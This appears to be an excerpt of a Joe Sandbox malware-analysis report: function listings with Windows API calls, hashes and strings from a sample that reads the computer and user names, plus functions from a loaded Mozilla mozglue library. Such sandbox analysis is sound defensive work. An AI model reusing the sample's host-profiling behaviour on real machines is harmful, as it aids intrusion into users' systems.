Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5dcc78a5cc27097ef1636bcd701a0ccd9cdf880fccf382115659857e781034d6
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 5dcc78a5cc27097ef1636bcd701a0ccd9cdf880fccf382115659857e781034d6
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 0041A270 Relevance: 1.3, APIs: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: c2fc4e1fd4be9ef044dbc11c0819e19b14df2fb30b2739993815bf0de72bef61
Instruction ID: 2a78e701e35aec36e6769ce11f212970ab7c3b82bc423fc04febfee158968705
Opcode Fuzzy Hash: c2fc4e1fd4be9ef044dbc11c0819e19b14df2fb30b2739993815bf0de72bef61
Instruction Fuzzy Hash: 08112D74A00208EFC705CF94D590A9AB3B2FF89304F2080E8E8095B391C736AE51DB54

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004098D8

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6CA15440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA15492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA154A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA154BE
__Init_thread_footer.LIBCMT ref: 6CA154DB

Part of subcall function 6CA3AB3F: EnterCriticalSection.KERNEL32(6CA8E370,?,?,6CA03527,6CA8F6CC,?,?,?,?,?,?,?,?,6CA03284), ref: 6CA3AB49
Part of subcall function 6CA3AB3F: LeaveCriticalSection.KERNEL32(6CA8E370,?,6CA03527,6CA8F6CC,?,?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA3AB7C

Part of subcall function 6CA3CBE8: GetCurrentProcess.KERNEL32(?,6CA031A7), ref: 6CA3CBF1
Part of subcall function 6CA3CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA031A7), ref: 6CA3CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA154F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA15516
GetCurrentThreadId.KERNEL32 ref: 6CA1556A
AcquireSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA15577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA15585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA15590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA155E6
ReleaseSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA15606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA15616

Part of subcall function 6CA3AB89: EnterCriticalSection.KERNEL32(6CA8E370,?,?,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284), ref: 6CA3AB94
Part of subcall function 6CA3AB89: LeaveCriticalSection.KERNEL32(6CA8E370,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA3ABD1

GetCurrentThreadId.KERNEL32 ref: 6CA1563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA15646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA1567C
free.MOZGLUE(?), ref: 6CA156AE

Part of subcall function 6CA25E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA25EDB
Part of subcall function 6CA25E90: memset.VCRUNTIME140(6CA67765,000000E5,55CCCCCC), ref: 6CA25F27
Part of subcall function 6CA25E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA25FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA156E8
GetCurrentThreadId.KERNEL32 ref: 6CA15707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA1570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA15729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA1574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA1576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA15796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA157B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA157CA

Strings

Q^, xrefs: 6CA157BC
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA157C5
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA156E3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA154B9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA15791
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA15CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA15D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA1584E
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA15717
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA15D01
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA157AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA15AC9
MOZ_BASE_PROFILER_HELP, xrefs: 6CA15511
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA15749
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA154A3
GeckoMain, xrefs: 6CA15554, 6CA155D5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA15D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA15766
[I %d/%d] profiler_init, xrefs: 6CA1564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA15B38
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA1548D
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA15C56
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA15724
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA15BBE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA15D1C
MOZ_PROFILER_STARTUP, xrefs: 6CA155E1

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$Q^$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2639675677
Opcode ID: 766f6aa7c256f94ac02c1fd973157d99bd166fc17fe10024e8afa0e4a3195fb8
Instruction ID: 4f0e92b40a4f0151001ec68f8d03d85c959f5d2991492ae5b07b873df17d852d
Opcode Fuzzy Hash: 766f6aa7c256f94ac02c1fd973157d99bd166fc17fe10024e8afa0e4a3195fb8
Instruction Fuzzy Hash: 8F22257490A3019FDB049F74D90826A77B5FF4734CF188A2AE85A97E41E730C8C9CB62

Function 6CA16C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA16CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA16D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA16D26

Part of subcall function 6CA1CA10: malloc.MOZGLUE(?), ref: 6CA1CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA16D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA16D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA16D73
free.MOZGLUE(00000000), ref: 6CA16D80
CertGetNameStringW.CRYPT32 ref: 6CA16DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA16DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA16DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA16DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA16E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA16E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA16E34
CreateFileW.KERNEL32 ref: 6CA16EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA16F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA16F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA1709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA17103
free.MOZGLUE(00000000), ref: 6CA17153
CloseHandle.KERNEL32(?), ref: 6CA17176
__Init_thread_footer.LIBCMT ref: 6CA17209
__Init_thread_footer.LIBCMT ref: 6CA1723A
__Init_thread_footer.LIBCMT ref: 6CA1726B
__Init_thread_footer.LIBCMT ref: 6CA1729C
__Init_thread_footer.LIBCMT ref: 6CA172DC
__Init_thread_footer.LIBCMT ref: 6CA1730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA173C2
VerSetConditionMask.NTDLL ref: 6CA173F3
VerSetConditionMask.NTDLL ref: 6CA173FF
VerSetConditionMask.NTDLL ref: 6CA17406
VerSetConditionMask.NTDLL ref: 6CA1740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA1741A
moz_xmalloc.MOZGLUE(?), ref: 6CA1755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA17568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA17585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA17598
free.MOZGLUE(00000000), ref: 6CA175AC

Part of subcall function 6CA3AB89: EnterCriticalSection.KERNEL32(6CA8E370,?,?,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284), ref: 6CA3AB94
Part of subcall function 6CA3AB89: LeaveCriticalSection.KERNEL32(6CA8E370,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA3ABD1

Strings

wintrust.dll, xrefs: 6CA172CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CA172C8
SHA256, xrefs: 6CA16EC0
(, xrefs: 6CA1768A

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: ca1611e307530532f8b2d240756fb9fe7f91aeebd3d0cfc7045704759f7c4598
Instruction ID: 497b69f855898f0b5d8e655957f2186484c3b355b5797add01e4af0d1c54ae86
Opcode Fuzzy Hash: ca1611e307530532f8b2d240756fb9fe7f91aeebd3d0cfc7045704759f7c4598
Instruction Fuzzy Hash: 2952E5B1A053169FEB25DF24CC84BAA77B8FB46318F148199E909D7A40DB30AEC5CF51

Function 6CA40DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA40F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CA40F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CA40FB7
EnterCriticalSection.KERNEL32(?), ref: 6CA40FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CA41031
LeaveCriticalSection.KERNEL32(?), ref: 6CA410D0
EnterCriticalSection.KERNEL32(?), ref: 6CA4117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CA41C39
EnterCriticalSection.KERNEL32(6CA8E744), ref: 6CA43391
LeaveCriticalSection.KERNEL32(6CA8E744), ref: 6CA433CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA43431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA43437

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA43559, 6CA4382D, 6CA43848
MALLOC_OPTIONS, xrefs: 6CA435FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA43A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA43793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA437BD
Compile-time page size does not divide the runtime one., xrefs: 6CA43946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA437D2
<jemalloc>, xrefs: 6CA43941, 6CA439F1
MOZ_CRASH(), xrefs: 6CA43950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA437A8

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: d34a2e3b4cd19f86d8d26bb246198d7145ffa02aa1b5bb26b70b9bf1d8365469
Instruction ID: 440d199d5bac7b861fb108a07039fe5939a35214fca468c9e19b58c0c64725df
Opcode Fuzzy Hash: d34a2e3b4cd19f86d8d26bb246198d7145ffa02aa1b5bb26b70b9bf1d8365469
Instruction Fuzzy Hash: 69538C71A067028FD704CF29C540615FBE1BF89328F29C76DE8A99B791D771E892CB81

Function 6CA634A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA6355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA635BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA635E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA6363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA636CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA6373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA6378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA638BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA639EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA63E85
